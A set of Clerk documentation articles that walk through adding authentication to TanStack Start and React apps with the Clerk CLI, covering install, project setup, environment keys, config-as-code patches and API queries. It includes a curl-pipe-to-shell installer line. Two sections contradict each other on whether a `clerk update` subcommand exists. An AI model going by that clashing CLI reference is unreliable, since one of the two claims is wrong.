For write operations, `clerk api` supports `-X POST`, `-X PATCH`, and `-X DELETE` with a `-d` payload and optional `--dry-run`. Mutations in a tutorial are a footgun, so the one you will run first in production is almost always a read: users, sessions, organizations. The [Backend API reference](/docs/reference/backend-api) documents the full surface and is the right place to look before running a mutation.

Clerk also ships a separate Platform API for account-level operations (list your own applications, manage billing). Inspect it with:

```bash
clerk api --platform ls
```

Platform endpoints require platform-level credentials, which are distinct from per-application keys — `clerk api --platform` resolves them from your logged-in account rather than the linked application.

## 15. CLI reference (quick skim)

Commands covered above, plus the ones you will reach for next:

```bash
# Setup
clerk --version
clerk update                     # latest stable
clerk update --channel canary    # ride the canary train
clerk update --all               # update every clerk install on PATH
clerk completion zsh             # emit shell completion for zsh|bash|fish

# Auth
clerk auth login
clerk whoami
clerk open                       # dashboard escape hatch

# Apps
clerk apps list
clerk apps create <name>
clerk link --app app_xxx
clerk unlink

# Project
clerk init                       # integrate into current dir
clerk init --starter             # new project from template
clerk init --prompt              # emit setup instructions for agents

# Environment + diagnostics
clerk env pull [--instance prod] [--file path]
clerk doctor [--spotlight] [--fix] [--verbose]

# Config as code
clerk config schema [--keys a b c]
clerk config pull [--output file]
clerk config patch --json '...' [--dry-run] [--yes]
clerk config put --file config.json   # destructive — see warning below

# Backend API
clerk api ls [resource]
clerk api <path>
clerk api --platform ls
clerk api -X POST <path> -d '...'     # mutations; pair with --dry-run

# Agent skills
clerk skill install
```

> \[!WARNING]
> `clerk config put` replaces the entire instance configuration with the contents of the file. It is not additive. Use `clerk config patch` for every incremental change. Reach for `put` only when you are intentionally resetting an instance (for example, promoting a full config from staging to a new production tenant), and run it with `--dry-run` first every time.

For the full reference including per-command flags, see the canonical [CLI documentation](/docs/cli) and the [`clerk/cli` repository](https://github.com/clerk/cli).

## FAQ

## Sources

- [Clerk CLI documentation](/docs/cli)
- [Clerk CLI changelog entry (2026-04-22)](/changelog/2026-04-22-clerk-cli)
- [Clerk: How Clerk Works — overview](/docs/guides/how-clerk-works/overview)
- [Clerk Pricing](/pricing)
- [`clerk/cli` source repository](https://github.com/clerk/cli)
- [Next.js 16 release notes](https://nextjs.org/blog/next-16)
- [Next.js AI agents guide](https://nextjs.org/docs/app/guides/ai-agents)
- [shadcn/ui skills documentation](https://ui.shadcn.com/docs/skills)

---

# Add Clerk authentication to a TanStack Start app with the Clerk CLI
URL: https://clerk.com/articles/add-clerk-authentication-to-a-tanstack-start-app-with-the-clerk-cli.md
Date: 2026-04-24
Description: Use the Clerk CLI to add Clerk authentication to an existing TanStack Start app. Covers `clerk init --framework tanstack-start`, config-as-code patches, and what the CLI actually writes into your project.

**How do I add Clerk authentication to a TanStack Start app with the Clerk CLI?**

Run `clerk init --framework tanstack-start` against an existing TanStack Start app — the [Clerk CLI](/changelog/2026-04-22-clerk-cli) (released 2026-04-22) wires `<ClerkProvider>` into `__root.tsx`, generates catch-all `sign-in` / `sign-up` routes, drops a server `start.ts` with `clerkMiddleware()` as request middleware, and adds `@clerk/tanstack-react-start` to your dependencies. Follow that with `clerk env pull`, `clerk doctor`, and `clerk config patch` to manage [authentication](/glossary#authentication) configuration — [passkeys](/glossary#passkeys), sign-in methods, [session](/glossary#session) policy — as code. The walkthrough below covers the full flow end-to-end against a fresh `@tanstack/cli` scaffold, including a sign-in affordance on the landing page and the Core 3 `<Show when="signed-in">` component that replaces `<SignedIn>`.

Validated against TanStack Start **1.167.42**, `@clerk/tanstack-react-start` **1.1.5**, Clerk CLI **1.0.2**, React **19.2.5**, and Vite **8.0.10** on 2026-04-23 — pin equivalent versions if anything drifts. TanStack Start has no `middleware.ts`/`proxy.ts` convention like Next.js and many existing tutorials predate the CLI or mix Core 2 component names that [Core 3 removed](/changelog/2026-03-03-core-3); the CLI output tracks the current SDK surface area instead.

## Why the Clerk CLI for TanStack Start

TanStack Start is SSR-first React with server functions and `beforeLoad` route guards — there's no `middleware.ts` / `proxy.ts` convention like Next.js, and the integration points for auth are less obvious the first time you look at a Start project. Most existing tutorials either pre-date the CLI, pre-date `@clerk/tanstack-react-start`'s current shape (older posts reference the renamed `@clerk/tanstack-start` package), or mix Core 2 component names like `<SignedIn>` / `<SignedOut>` that [Core 3 removed](/changelog/2026-03-03-core-3).

`clerk init` skips all of that. It detects the framework from `package.json`, installs the right SDK, writes the provider + middleware + auth-page scaffolding, and seeds `.env.local` in one shot. Because the CLI is version-current, the output tracks `@clerk/tanstack-react-start`'s current surface area, not whatever shipped eight months ago. If you're coming from the Next.js version of this workflow, the spine is the same — the CLI runs the same way across frameworks — but the files it writes are Start-shaped.

> \[!NOTE]
> This article shows `clerk init` running on a project you already scaffolded yourself — the "add auth to my existing app" path. `clerk init --starter --framework tanstack-start` exists for the opposite case (bootstrap a new template). `--starter` is a boolean flag that pairs with `--framework`, not a value-bearing option. The full flag list is in `clerk init --help`.

## Prerequisites

- [ ] **Node.js 20+** — TanStack Start's current minimum.
- [ ] **pnpm** — this article uses pnpm throughout. npm, yarn, and bun work too. `clerk init` detects the package manager from your lockfile (`pnpm-lock.yaml`, `yarn.lock`, `bun.lock`, or the absence of any lockfile → npm), so switching just means running the matching scaffold command.
- [ ] **A Clerk account** — free tier is fine for everything in the first half of the article. The config-as-code section toggles [passkey](/glossary#passkeys) sign-in and a [session](/glossary#session) config, both of which [require a paid plan](/pricing). The article notes where to stop if you're staying on free.
- [ ] **The `clerk` CLI binary on your `$PATH`** — installed in the next section.

TanStack Start is currently in Release Candidate: the [official overview](https://tanstack.com/start/latest/docs/framework/react/overview) describes the API as feature-complete but not guaranteed bug-free. Pin a known-good version for production workloads.

## Install or update the Clerk CLI

New install — pick whichever fits your machine. The shell one-liner is the fastest path, but Homebrew and a global npm install both work:

```sh {{ filename: 'terminal' }}
curl -fsSL https://clerk.com/install | sh
```

```sh {{ filename: 'terminal' }}
brew install clerk/stable/clerk
```

```sh {{ filename: 'terminal' }}
npm install -g clerk
```

Confirm the version — you want `1.0.2` or later for this tutorial (the 2026-04-22 release):

```bash
clerk --version
```

The CLI has no self-update subcommand. To upgrade, rerun whichever installer you used. The curl installer fetches the latest release by default; pass `--canary` to track the edge channel. For Homebrew, use the standard upgrade subcommand. For a global npm install, reinstall the `@latest` tag to pull the newest release:

```sh {{ filename: 'terminal' }}
curl -fsSL https://clerk.com/install | sh -s -- --canary
```

```sh {{ filename: 'terminal' }}
brew upgrade clerk
```

```sh {{ filename: 'terminal' }}
npm install -g clerk@latest
```

Optional but recommended — enable shell completion so subcommand and flag names autocomplete:

```sh {{ filename: 'terminal' }}
clerk completion zsh > "${fpath[1]}/_clerk"
```

```sh {{ filename: 'terminal' }}
clerk completion bash > /etc/bash_completion.d/clerk
```

## Install the Clerk agent skills

If you're using Claude Code, Cursor, or Codex, you have two paths to get the Clerk-maintained skills into your project:

- **Let `clerk init` do it** (recommended). The next step — `clerk init` — ends with an `Install agent skills?` prompt that defaults to yes. Accept it, or pass `-y` to skip the prompt and auto-accept. The CLI then runs `npx skills add clerk/skills` under the hood.
- **Install manually** (if you want skills in a project you're not scaffolding with `clerk init`, or if you skipped the prompt):

```bash
npx skills add clerk/skills
```

For TanStack Start, `clerk init` installs three skills: `clerk` (the CLI + core concepts), `clerk-setup` (the quickstart surface), and `clerk-tanstack-patterns` (TanStack-specific auth patterns — loaders, `beforeLoad`, server functions). The base two ship with every framework; the third is selected by matching `@tanstack/react-start` in `package.json` against the CLI's framework → skill map.

Coding agents trained on older Clerk content tend to hallucinate the removed `<SignedIn>` / `<SignedOut>` components, the old `@clerk/tanstack-start` package name, and long-retired patterns. The bundled skills are how you keep them honest.

> \[!NOTE]
> Clerk ships breaking changes on a regular cadence. Refresh skills by rerunning `npx skills add clerk/skills` — the command is idempotent and picks up new versions each time. Rerunning `clerk init` also reinstalls them as part of the flow.

If you already have hand-rolled `clerk-*` skills under `.claude/skills/` from an earlier project, audit them after the install: the Clerk-maintained skills supersede most hand-authored ones and the overlap will confuse your agent. To suppress the prompt inside `clerk init` (so it doesn't try to reinstall), pass `--no-skills`.

## Log in and pick an application

```bash
clerk auth login
clerk whoami
```

`clerk auth login` opens the dashboard in a browser, completes [OAuth](/glossary#oauth), and persists credentials and config to the OS-standard CLI directory (macOS: `~/Library/Preferences/clerk-cli/config.json`, Linux: `~/.config/clerk-cli/config.json`, Windows: `%APPDATA%\clerk-cli\Config\config.json`). Override with `CLERK_CONFIG_DIR` if you need a custom location, or run `clerk doctor` to print the resolved path. `clerk whoami` confirms which account you're operating as — useful when you have multiple logins or switch between personal and work accounts.

List your apps and pick one:

```bash
clerk apps list
clerk apps list --json  # machine-readable output, pipe to jq for scripts
```

If you don't have an app yet, create one from the CLI:

```bash
clerk apps create "my-tanstack-app"
```

Or let `clerk init` prompt you interactively later. Either path works — the article's validation pre-linked a test app with `clerk link --app <id>` so `clerk init` could skip the app-picker prompt.

## Scaffold a TanStack Start app with `@tanstack/cli`

Create a working directory and scaffold Start:

```bash
pnpm dlx @tanstack/cli@latest create my-clerk-tanstack-start-app
```

The TanStack scaffolder is interactive. Accept Tailwind CSS, decline ESLint (add it back later if you want — it's out of scope here), and take defaults for the rest. The version-pinned non-interactive equivalent:

```bash
pnpm dlx @tanstack/cli@latest create my-clerk-tanstack-start-app \
  --framework React \
  --package-manager pnpm \
  --no-toolchain \
  --no-examples \
  --no-git \
  --yes
```

> \[!NOTE]
> TanStack CLI prompts drift between versions. If the interactive prompts look different from the list above, accept Tailwind and decline ESLint — other toggles don't affect this tutorial. The non-interactive form is more stable if you're automating.

Move into the new app and confirm it boots:

```bash
cd my-clerk-tanstack-start-app
pnpm install
pnpm dev
```

You should see a "Welcome to TanStack Start" page on `http://localhost:3000`. TanStack Start pins `vite dev --port 3000` in the scaffolded `package.json`. Stop the dev server (Ctrl-C) before the next step — `clerk init` writes files you'd rather not have HMR-reloaded mid-flight.

The scaffolded structure you care about:

```
src/
├── router.tsx
├── routes/
│   ├── __root.tsx
│   └── index.tsx
├── routeTree.gen.ts
├── start.ts
└── styles.css
```

Note the modern `src/`-rooted layout. Older TanStack Start content still references an `app/` layout — that's been replaced. `clerk init` targets `src/` correctly; if you're migrating an older app, move the files first. The scaffold's `src/start.ts` is where `clerk init` inserts `clerkMiddleware()` (see appendix).

## Add Clerk with `clerk init`

From inside the `my-clerk-tanstack-start-app/` directory:

```bash
clerk init --framework tanstack-start
```

The CLI auto-detects the framework from `package.json`, so `--framework tanstack-start` is technically redundant — but explicit is worth the typing for reproducibility and CI scripts. The package manager is auto-detected from the lockfile the same way. Pass `-y` for non-interactive mode in CI (accepts the scaffold plan, skips the skills prompt by auto-accepting), or leave it off locally to preview the plan before it writes:

```bash
clerk init --framework tanstack-start -y
```

If you want `clerk init` to pull keys for a specific app without interactive picking, link the app first:

```bash
clerk link --app app_xxx
clerk init --framework tanstack-start -y
```

`clerk link --app <id>` writes the link to the CLI config directory. When `clerk init` runs afterward, `link({ skipIfLinked: true })` finds the existing link and skips the prompt, and `env pull` picks up the linked app's keys. Without a pre-existing link, `clerk init` runs `clerk link` interactively so you can pick or create an app during the flow. (`clerk init` itself has no `--app` flag — only `link`, `env pull`, `config`, and `api` do.)

What changes in your project when `clerk init` runs:

- **`package.json`** — adds `"@clerk/tanstack-react-start": "^1.1.5"` to `dependencies`. Note the `-react-` infix; the older `@clerk/tanstack-start` package name was renamed.
- **`src/routes/__root.tsx`** — wraps `{children}` in [`<ClerkProvider>`](/glossary#clerkprovider) from `@clerk/tanstack-react-start`.
- **`src/routes/sign-in.$.tsx`** (new) — catch-all route rendering `<SignIn />`.
- **`src/routes/sign-up.$.tsx`** (new) — catch-all route rendering `<SignUp />`.
- **`src/start.ts`** — adds `clerkMiddleware()` to the `requestMiddleware` array returned by `createStart()`. TanStack's scaffold creates `src/start.ts` with an empty middleware config; `clerk init` modifies the existing file rather than writing a new one.
- **`.env.local`** — seeded with Clerk env vars. The route URL vars (`VITE_CLERK_SIGN_IN_URL`, `VITE_CLERK_SIGN_UP_URL`, and the two `_FALLBACK_REDIRECT_URL` vars) are written by the framework scaffold step. The keys (`VITE_CLERK_PUBLISHABLE_KEY` and `CLERK_SECRET_KEY`) are written by `clerk init`'s built-in `env pull`, which runs after authentication and `link` succeed — so real keys land in the file in one pass as long as you're logged in and have either pre-linked an app or picked one at the prompt.

The full file-by-file diff is in the [appendix below](#appendix-what-clerk-init-wrote-for-you).

> \[!NOTE]
> With `-y`, `clerk init` rewrites `src/routes/__root.tsx` without prompting — but it **wraps** your existing JSX in `<ClerkProvider>`, it doesn't replace it. The only observed side-effect is cosmetic: the existing `<TanStackDevtools>` block loses two spaces of indentation and a trailing newline. Run `pnpm format` (or `prettier --write`) and the diff disappears. Commit before running the command if you want a clean before/after.

Install the new dependency:

```bash
pnpm install
```

`clerk init` does **not** run the install for you. That's intentional — it means you control when your lockfile updates — but easy to forget.

> \[!NOTE]
> Inside a pnpm monorepo, the scaffolded app will be slurped into the parent workspace unless it has its own sentinel. Add `pnpm-workspace.yaml` at the top of `my-clerk-tanstack-start-app/` (an empty file is fine) to isolate it before you run `pnpm install`. Standalone projects don't hit this.

## Link to an existing Clerk app (optional)

If you want to reassign the CLI to a different app after `clerk init`:

```bash
clerk unlink
clerk link --app app_xxx
```

`clerk whoami` reflects the currently-linked app and instance, so run it to sanity-check which environment you're pointing at before you make config changes. The CLI stores the active app and [secret key](/glossary#secret-key) reference in the OS-standard CLI config directory (see the [previous section](#log-in-and-pick-an-application) for the per-platform path), not in your repo.

## Pull (or refresh) environment variables

```bash
clerk env pull
```

`clerk init` already runs `env pull` internally once authentication + `link` succeed, so right after a successful `clerk init` your `.env.local` is already populated. `clerk env pull` is the standalone command for everything afterward — refreshing keys after a rotation, switching between dev and prod (`--instance prod`), targeting a different app (`--app <id>`), or repopulating the file after you accidentally deleted it.

TanStack Start uses Vite, which reads `VITE_`-prefixed env vars on the client — so your publishable key lands as `VITE_CLERK_PUBLISHABLE_KEY`, not Next's `NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY`. The CLI handles the prefix difference automatically based on the framework it detects.

After `clerk init` (or after a manual `clerk env pull`), `.env.local` looks like this (real values redacted):

```bash
VITE_CLERK_SIGN_IN_URL=/sign-in
VITE_CLERK_SIGN_UP_URL=/sign-up
VITE_CLERK_SIGN_IN_FALLBACK_REDIRECT_URL=/
VITE_CLERK_SIGN_UP_FALLBACK_REDIRECT_URL=/

# Clerk
VITE_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

Two categories of vars here. The four `VITE_CLERK_*_URL` entries are seeded by `clerk init`'s framework scaffold step (they wire the routes Clerk's components navigate to). The two keys are written by `clerk init`'s built-in `env pull` against the linked app and can be refreshed any time with a standalone `clerk env pull`.

> \[!TIP]
> Targeting production? `clerk env pull --instance prod` pulls prod keys into `.env.production.local`. Keep dev and prod files separate.

Your `CLERK_SECRET_KEY` is a [secret key](/glossary#secret-key) — never commit it, never ship it to the client. The default `.gitignore` that `@tanstack/cli` writes includes `.env*.local`, which covers this, but double-check.

## Run `clerk doctor` the first time (it should fail)

Before pulling env vars, `clerk doctor` is a teaching moment:

```bash
mv .env.local .env.local.bak
clerk doctor
```

Expected output flags the missing keys. Doctor validates the CLI version, auth session, linked app + instance IDs, and `.env.local` contents — the things that actually break integrations. It's framework-agnostic plumbing validation, not a framework-aware linter. It doesn't lint your `start.ts` or route files for TanStack-specific wiring.

Restore the file:

```bash
mv .env.local.bak .env.local
```

## Run `clerk doctor` after env pull (green)

Now re-run doctor:

```bash
clerk doctor
```

Every check should pass. If anything red remains:

- **`clerk doctor --spotlight`** filters output to warnings and failures only — useful when most checks pass and you want to focus on what's broken without scrolling.
- **`clerk doctor --fix`** runs in interactive mode and prompts per issue before applying a fix, then re-runs checks to verify. Skip it in CI; it needs a TTY.
- **`clerk doctor --verbose`** shows the full per-check output. Helpful when a check fails for a non-obvious reason.

> \[!TIP]
> `clerk doctor` is the fastest way to diagnose "my keys aren't loading" in CI. Wire it into a preflight step alongside `pnpm install` and you'll catch most env-misconfigurations before they become runtime failures.

## Wire up the landing page

`clerk init` deliberately leaves `src/routes/index.tsx` alone — it's your landing page, and the CLI doesn't make assumptions about your layout. That means out of the box the app has no sign-in affordance on the home page. Add one:

```tsx
import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/tanstack-react-start'
import { createFileRoute } from '@tanstack/react-router'

export const Route = createFileRoute('/')({ component: Home })

function Home() {
  return (
    <div className="p-8">
      <header className="mb-8 flex items-center justify-end gap-3">
        <Show when="signed-out">
          <SignInButton mode="modal" />
          <SignUpButton mode="modal" />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <h1 className="text-4xl font-bold">Welcome to TanStack Start</h1>
      <p className="mt-4 text-lg">
        Edit <code>src/routes/index.tsx</code> to get started.
      </p>
    </div>
  )
}
```

> \[!IMPORTANT]
> Clerk Core 3 (released [2026-03-03](/changelog/2026-03-03-core-3)) removed `<SignedIn>`, `<SignedOut>`, and `<Protect>` and replaced them with a single `<Show>` component. Any older TanStack Start tutorial you find on the internet still showing `<SignedIn>` / `<SignedOut>` is pre-Core-3 — port it. The [Core 3 upgrade guide](/docs/guides/development/upgrading/upgrade-guides/core-3) has a `npx @clerk/upgrade` codemod that handles most call sites automatically.

This is the minimum viable landing page. The `mode="modal"` prop opens the sign-in/sign-up components in a modal rather than routing to `/sign-in` or `/sign-up`. Drop `mode="modal"` if you prefer full-page navigation to the catch-all routes `clerk init` generated.

## Start the dev server and sign up a test user

```bash
pnpm dev
```

Open `http://localhost:3000`. You should see the "Welcome to TanStack Start" header with **Sign in** / **Sign up** buttons in the top right. Click **Sign up**, run through the flow, and you'll land back on the home page with a `<UserButton />` in place of the sign-in/sign-up pair.

If the buttons don't render, two things to check before anything else:

1. **Restart the dev server.** Vite caches aggressively and new env vars don't always hot-reload.
2. **`clerk doctor`.** Missing publishable key is the single most common cause, and doctor catches it in one shot.

## Configure Clerk as code: `clerk config`

`clerk config` treats your Clerk instance configuration as data. You can pull the current state, diff it, patch fields, and audit the result. It's the same surface whether you're on dev or prod — add `--instance prod` when you're ready to push changes upstream.

Start by inspecting the schema:

```bash
clerk config schema
clerk config schema --keys auth_passkey session auth_attack_protection
```

`clerk config schema` prints the entire config surface. `--keys` scopes it — useful when you know the key names and just want the shape.

Pull the current config as a baseline:

```bash
clerk config pull --output config.before.json
```

Four patches follow. Run each `--dry-run` first; the dry run prints the exact shape that would be sent without making changes. Drop `--dry-run` and add `--yes` to commit.

**Patch 1: block disposable email domains** (no paid-plan gate):

```bash
clerk config patch --dry-run --json '{"auth_access_control":{"block_disposable_email_domains":true}}'
clerk config patch --json '{"auth_access_control":{"block_disposable_email_domains":true}}' --yes
```

**Patch 2: tighten lockout to 10 failed attempts** (no paid-plan gate — [the default is 100](/docs/guides/secure/user-lockout)):

```bash
clerk config patch --dry-run --json '{"auth_attack_protection":{"user_lockout":{"max_attempts":10}}}'
clerk config patch --json '{"auth_attack_protection":{"user_lockout":{"max_attempts":10}}}' --yes
```

**Patch 3: enable passkeys as a sign-in factor** (paid plan required):

```bash
clerk config patch --dry-run --json '{"auth_passkey":{"used_for_sign_in":true}}'
clerk config patch --json '{"auth_passkey":{"used_for_sign_in":true}}' --yes
```

> \[!IMPORTANT]
> [Passkeys](/glossary#passkeys) can be **registered** on any plan; using them as a **sign-in factor** is a paid-plan feature. The `used_for_sign_in: true` flip is what unlocks the sign-in affordance in the `<SignIn />` component. See [pricing](/pricing).

**Patch 4: tune session config** (paid plan required):

```bash
clerk config patch --dry-run --json '{"session":{"allowed_clock_skew":5,"claims":{},"lifetime":3600}}'
clerk config patch --json '{"session":{"allowed_clock_skew":5,"claims":{},"lifetime":3600}}' --yes
```

`allowed_clock_skew` tolerates small time drift between client and server (seconds). `claims` is where you inject custom [session](/glossary#session) claims. `lifetime` is the session token lifetime in seconds (3600 = 1 hour).

> \[!IMPORTANT]
> Session config changes are gated on a paid plan. If you hit a 403 on this patch, that's the plan gate — not a CLI bug.

Pull the new config and diff it:

```bash
clerk config pull --output config.after.json
diff config.before.json config.after.json
```

You should see four blocks: `block_disposable_email_domains` flipped, `max_attempts` dropped from 100 to 10, `used_for_sign_in` flipped to `true`, and a full `session` object materialized (it was `null` before Patch 4).

> \[!WARNING]
> `clerk config put` replaces your entire config with the contents of a JSON file. It's destructive — use `patch` for day-to-day changes. `put` is for bootstrapping a new environment from a template, not for tuning.

## Verify the config changes worked

Reload the app and walk the sign-up flow again. A few things to confirm:

- **Disposable-email blocking.** Try signing up with a `@mailinator.com` address. The signup should be rejected at the email step.
- **Lockout.** Fail sign-in 10 times on purpose. The account should lock.
- **Passkey sign-in.** Sign in with your test user, open `<UserProfile />` (add a `/user` route rendering `<UserProfile />` if you don't have one yet), go to the **Security** tab, and register a passkey. Sign out, then sign in again — "Continue with passkey" should appear above the email field. Validated with platform authenticators (Touch ID, Windows Hello) and Bitwarden.
- **Session lifetime.** Signed-in sessions now expire after 1 hour instead of the default. Easy to verify in a long-running tab; easy to forget in dev unless you leave one open.

## Inspect your instance with `clerk api`

`clerk api` is a direct wrapper around the Clerk Backend API and (with `--platform`) the Clerk Platform API. It authenticates with your linked app's keys, so you don't need to craft curl commands or copy `CLERK_SECRET_KEY` into Postman.

List available endpoints and commands:

```bash
clerk api ls
clerk api ls users
```

List users:

```bash
clerk api /users
clerk api /users?limit=5
```

Fetch a single user:

```bash
clerk api /users/<user_id>
```

The Platform API (cross-instance application management) lives behind `--platform`. The CLI auto-prepends `/v1` and points at the Platform API host (`api.clerk.com`). Platform resources are namespaced under `/platform/`, so the full path for listing applications is `/platform/applications` — the CLI resolves this to `api.clerk.com/v1/platform/applications`:

```bash
clerk api --platform /platform/applications
```

Backend API calls (no `--platform`) hit `api.clerk.dev` instead, and their paths do not need the `/platform/` prefix — `/users` resolves to `api.clerk.dev/v1/users`, `/organizations` to `api.clerk.dev/v1/organizations`.

> \[!NOTE]
> If a `--platform` call returns `clerk_key_invalid`, the usual cause is a missing auth token rather than a bad path — `clerk api --platform` uses the OAuth token from `clerk auth login`, not `CLERK_SECRET_KEY`. Re-run `clerk auth login` if the token has expired. If you get `404`, double-check the path against the Platform API spec: Platform resources need the `/platform/` segment, Backend resources do not.

`clerk api` isn't a replacement for the full Backend SDK in application code — it's for one-off inspection, ops, and scripts.

## Appendix: what `clerk init` wrote for you

If you ever need to reproduce `clerk init`'s output by hand — porting to a non-supported framework, or just curious — here's the exact surface. Validated against TanStack Start 1.167.42 + `@clerk/tanstack-react-start@1.1.5`.

**`package.json`** — one dependency added:

```json
{
  "dependencies": {
    "@clerk/tanstack-react-start": "^1.1.5"
  }
}
```

**`src/routes/__root.tsx`** — existing content wrapped in `<ClerkProvider>` (reformatted by `pnpm format`):

```tsx
import { ClerkProvider } from '@clerk/tanstack-react-start'
import { HeadContent, Scripts, createRootRoute } from '@tanstack/react-router'
import { TanStackRouterDevtoolsPanel } from '@tanstack/react-router-devtools'
import { TanStackDevtools } from '@tanstack/react-devtools'

import appCss from '../styles.css?url'

export const Route = createRootRoute({
  head: () => ({
    meta: [
      { charSet: 'utf-8' },
      { name: 'viewport', content: 'width=device-width, initial-scale=1' },
      { title: 'TanStack Start Starter' },
    ],
    links: [{ rel: 'stylesheet', href: appCss }],
  }),
  shellComponent: RootDocument,
})

function RootDocument({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <head>
        <HeadContent />
      </head>
      <body>
        <ClerkProvider>
          {children}
          <TanStackDevtools
            config={{ position: 'bottom-right' }}
            plugins={[
              {
                name: 'Tanstack Router',
                render: <TanStackRouterDevtoolsPanel />,
              },
            ]}
          />
          <Scripts />
        </ClerkProvider>
      </body>
    </html>
  )
}
```

**`src/routes/sign-in.$.tsx`** (new) — catch-all route so `<SignIn />` handles any sub-path (Clerk uses this for flow steps like `/sign-in/factor-two`):

```tsx
import { SignIn } from '@clerk/tanstack-react-start'
import { createFileRoute } from '@tanstack/react-router'

export const Route = createFileRoute('/sign-in/$')({
  component: Page,
})

function Page() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <SignIn />
    </div>
  )
}
```

**`src/routes/sign-up.$.tsx`** (new) — mirror of sign-in for sign-up:

```tsx
import { SignUp } from '@clerk/tanstack-react-start'
import { createFileRoute } from '@tanstack/react-router'

export const Route = createFileRoute('/sign-up/$')({
  component: Page,
})

function Page() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <SignUp />
    </div>
  )
}
```

**`src/start.ts`** (modified) — Clerk's request middleware slotted into TanStack Start's server instance (TanStack's scaffold creates this file; `clerk init` adds the `clerkMiddleware()` call and the `@clerk/tanstack-react-start/server` import):

```ts
import { clerkMiddleware } from '@clerk/tanstack-react-start/server'
import { createStart } from '@tanstack/react-start'

export const startInstance = createStart(() => {
  return {
    requestMiddleware: [clerkMiddleware()],
  }
})
```

This is the TanStack Start equivalent of Next's `proxy.ts` / middleware — the hook-point where Clerk resolves the session for every server-side request. `createStart` takes [a callback that returns the config](https://github.com/TanStack/router/blob/main/packages/start-client-core/src/createStart.ts), not a plain object. `clerkMiddleware()` populates `getAuth(req)` inside server functions and loaders so you can gate them with `beforeLoad` or by checking `userId` before returning data.

**`.env.local`** — the four route URL vars come from the framework scaffold step, the two key vars come from `clerk init`'s built-in `env pull` (real values land whenever you pre-link an app with `clerk link --app <id>` or pick an app at the interactive prompt):

```bash
VITE_CLERK_SIGN_IN_URL=/sign-in
VITE_CLERK_SIGN_UP_URL=/sign-up
VITE_CLERK_SIGN_IN_FALLBACK_REDIRECT_URL=/
VITE_CLERK_SIGN_UP_FALLBACK_REDIRECT_URL=/

# Clerk
VITE_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

What `clerk init` does **not** touch: `src/routes/index.tsx` (landing page), `vite.config.ts`, `src/router.tsx`, `src/styles.css`, `README.md`. That's why the "wire up the landing page" step exists — you're filling in the piece the CLI intentionally left under your control.

## CLI reference (quick skim)

Commands the article touched:

| Command                                       | What it does                                                                                                                 |
| --------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `clerk auth login`                            | OAuth login, persists to the OS-standard CLI config directory (override with `CLERK_CONFIG_DIR`).                            |
| `clerk whoami`                                | Show current user + linked app.                                                                                              |
| `clerk apps list`                             | List apps in your org (add `--json` for machine-readable output).                                                            |
| `clerk apps create <name>`                    | Create a new app from the CLI.                                                                                               |
| `clerk init --framework tanstack-start`       | Install SDK + wire providers/routes/middleware. Auto-detects framework/package manager when the flag is omitted.             |
| `clerk link --app app_xxx`                    | Point the CLI at an existing app (run before `clerk init` to skip the app-picker).                                           |
| `clerk unlink`                                | Unlink the current app (add `--yes` to skip the confirmation prompt).                                                        |
| `clerk env pull`                              | Write env vars to `.env.local` (or `.env.production.local` with `--instance prod`; target a specific app with `--app <id>`). |
| `clerk doctor`                                | Validate auth + linked app + env vars.                                                                                       |
| `clerk config schema`                         | Print the full config schema.                                                                                                |
| `clerk config pull --output file.json`        | Snapshot current config.                                                                                                     |
| `clerk config patch --json '...' --dry-run`   | Preview a partial update.                                                                                                    |
| `clerk config patch --json '...' --yes`       | Commit the update.                                                                                                           |
| `clerk config put --file file.json`           | **Destructive** — replace config from file.                                                                                  |
| `clerk api /users`                            | Query the Clerk Backend API at `api.clerk.dev` (CLI auto-prepends `/v1`).                                                    |
| `clerk api --platform /platform/applications` | Query the Platform API at `api.clerk.com` (CLI auto-prepends `/v1`; Platform resources live under `/platform/`).             |
| `clerk completion zsh`                        | Print shell completion (pipe to your completion dir).                                                                        |
| `npx skills add clerk/skills`                 | Install/refresh the Clerk agent skills. Run inside `clerk init` or manually.                                                 |

Flags worth memorizing:

- `--yes` / `-y` — non-interactive; accept defaults.
- `--dry-run` — print the operation without executing (`config patch`, `config put`, `api`).
- `--instance prod` — target production instead of dev.
- `--app app_xxx` — scope the command to a specific app (valid on `link`, `env pull`, `config *`, `api` — **not** on `init`).
- `--no-skills` — skip the agent-skills prompt inside `clerk init`.

To upgrade the CLI itself, rerun the installer (`curl -fsSL https://clerk.com/install | sh`, `brew upgrade clerk`, or `npm install -g clerk@latest`). There is no `clerk update` subcommand in 1.0.2.

Full reference: [Clerk CLI docs](/docs/cli).

## FAQ

## Further reading

- [TanStack Start quickstart — Clerk docs](/docs/tanstack-react-start/getting-started/quickstart)
- [Clerk CLI reference](/docs/cli)
- [How Clerk works — overview](/docs/guides/how-clerk-works/overview)
- [Core 3 upgrade guide](/docs/guides/development/upgrading/upgrade-guides/core-3)
- [TanStack Start authentication guide](https://tanstack.com/start/latest/docs/framework/react/guide/authentication)
- [Clerk CLI source — GitHub](https://github.com/clerk/cli)

---

# Add Clerk authentication to a React app with the Clerk CLI
URL: https://clerk.com/articles/add-clerk-authentication-to-a-react-app-with-the-clerk-cli.md
Date: 2026-04-24
Description: The Clerk CLI sets up React authentication in one command: scaffold a Vite + React 19 app, pull env keys, and patch passkeys, sign-in methods, and session policy as code.

**How do I add Clerk authentication to a React app with the Clerk CLI?**

Run `clerk init --starter --framework react` to scaffold a Vite + React 19 [single-page app](/glossary#software-development-kit-sdk) with `@clerk/react` v6, [`<ClerkProvider>`](/glossary#clerkprovider) wired in `main.tsx`, `<Show when="signed-in">` gating, and populated [environment variables](/glossary#environment-variables) — one command, no dashboard round-trip. Then run `clerk env pull` to write keys, `clerk doctor` to verify the setup, and `clerk config patch` to enable [passkeys](/glossary#passkeys), sign-in methods, session lifetime, and lockout policy as version-controllable JSON. The walkthrough below covers the full sequence end-to-end, signing up a real user, and inspecting the result with `clerk api`.

